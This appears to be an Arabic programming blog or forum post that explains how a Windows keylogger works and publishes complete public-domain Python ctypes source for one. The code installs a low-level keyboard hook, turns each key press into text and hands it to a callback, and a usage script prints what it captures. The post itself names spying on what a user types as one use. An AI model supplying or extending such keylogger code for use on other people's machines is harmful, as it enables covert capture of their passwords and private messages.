السلام عليكم ورحمة الله وبركاته
راصد لوحة المفاتيح keylogger برنامج يهدف لتسجيل جميع الضغطات على المفاتيح على مستوى النظام ويستخدم في عمل إختصارات أو للتجسس على مايكتبه المستخدم.
مبدأ عمل برنامج الـkeylogger أنه يطلب من ويندوز أن يُسجّل خطّاف hook على رسائل النظام الخاصة بلوحة المفاتيح كي يُمررها للبرنامج أولاً بإستخدام الدالة SetWindowsHookEx بالخيار WH_KEYBOARD_LL. ستمرر رسالة ضغط المفاتيج لأحد الدوال التي نُحددها ثم نجعل هذه الدالة تسجّل جميع الرسائل بعد إستخراج النصّ المقابل للزرّ.
كتبت واحد ببايثون بإستخدام ctypes , لايزال بسيط الا أنه يؤدي الغرض ويوصل الفكرة :
#!python
#coding: utf-8
# Licence : public domain
# Author : Barakat <http://twitter.com/#!/b4r4k47>
from ctypes import *
# Base windows types
BYTE = c_ubyte
WORD = c_ushort
DWORD = c_ulong
WCHAR = c_wchar
LRESULT = c_long
WPARAM = c_uint
LPARAM = c_long
HANDLE = c_void_p
HHOOK = HANDLE
HKL = HANDLE
# Base constans
WM_KEYDOWN = 0x0100
WH_KEYBOARD_LL = 13
VK_TAB = 0x09 # TAB key
VK_RETURN = 0x0D # ENTER key
# Base Win API
SetWindowsHookEx = windll.user32.SetWindowsHookExW
UnhookWindowsHookEx = windll.user32.UnhookWindowsHookEx
CallNextHookEx = windll.user32.CallNextHookEx
GetMessage = windll.user32.GetMessageW
GetKeyboardState = windll.user32.GetKeyboardState
GetKeyboardLayout = windll.user32.GetKeyboardLayout
ToUnicodeEx = windll.user32.ToUnicodeEx
# Macros
LOWORD = lambda x: x & 0xffff
# Base structures
class KBDLLHOOKSTRUCT(Structure):
_fields_ = [
('vkCode', DWORD),
('scanCode', DWORD),
('flags', DWORD),
('time', DWORD),
('dwExtraInfo', POINTER(c_ulong))
]
# Function prototypes
LOWLEVELKEYBOARDPROC = CFUNCTYPE(LRESULT, c_int, WPARAM, LPARAM)
# Hook class
class KeybordHook(object):
def __init__(self):
self._loop = True
self._plowlevelkeyboardproc = LOWLEVELKEYBOARDPROC(self._lowlevelkeyboardproc)
self.hHook = SetWindowsHookEx(WH_KEYBOARD_LL, self._plowlevelkeyboardproc, None, 0)
# FIXME: is there a better way to handle this error?
if self.hHook == 0:
raise NameError
def _lowlevelkeyboardproc(self, nCode, wParam, lParam):
# The keylogger callback
if LOWORD(wParam) != WM_KEYDOWN:
return CallNextHookEx(self.hHook, nCode, wParam, lParam)
keyState = (BYTE * 256)()
buff = (WCHAR * 256)()
kbdllhookstruct = KBDLLHOOKSTRUCT.from_address(lParam)
if kbdllhookstruct.vkCode == VK_TAB:
self._callback("\t")
return CallNextHookEx(self.hHook, nCode, wParam, lParam)
elif kbdllhookstruct.vkCode == VK_RETURN:
self._callback("\n")
return CallNextHookEx(self.hHook, nCode, wParam, lParam)
hKl = GetKeyboardLayout(0)
GetKeyboardState(byref(keyState))
ToUnicodeEx(kbdllhookstruct.vkCode, kbdllhookstruct.scanCode, byref(keyState), byref(buff), 256, 0, hKl)
self._callback(buff.value.encode('utf8'))
return CallNextHookEx(self.hHook, nCode, wParam, lParam)
def start(self, callback):
self._callback = callback
while GetMessage(None, None, 0, 0).value > 0:
if self._loop is False:
break
def stop(self):
UnhookWindowsHookEx(self.hHook)
self._loop = Falseطريقة إستخدامه مذكوره, فقط أنشئ كائن من KeybordHook :
kbhook = KeybordHook()
وإستدع الوظيفة المسمّاة start بعد تمرير دالة لها تستقبل النصوص التي يرسلها الخطّاف. ولإيقافه إستدع الوظيفة stop :
#!python
#coding: utf-8
# Licence : public domain
# Author : Barakat <http://twitter.com/#!/b4r4k47>
from sys import stdout
from keybordhook import *
def my_callback(data):
if data == "\r":
return
elif data == "\n":
print("")
stdout.write(data)
if __name__ == '__main__':
kbhook = KeybordHook()
try:
kbhook.start(my_callback)
except KeyboardInterrupt:
# FIXME: an error occurs in Python 2.6 (r26:66721) which seems, so far, a bug in ctypes.
kbhook.stop()ملاحظة : في إصدار بايثون الذي أستخدمه , 2.6 النسخة r26:66721, يظهر لي الخطأ :
ddrerwecTraceback (most recent call last):
File "_ctypes/callbacks.c", line 295, in 'calling callback function'
File "C:\Users\Barakat\Desktop\projects\PyHook\keybordhook.py", line 74, in _lowlevelkeyboardproc
def _lowlevelkeyboardproc(self, nCode, wParam, lParam):
KeyboardInterruptعند كل مرّة أحاول فيها إيقاف البرنامج بالضغط على Ctrl-C. أعتقد أنّها علّه في ctypes نفسها. مع الأسف في كل مرّة أضطر لإيقاف مفسّر بايثون من مدير المهام.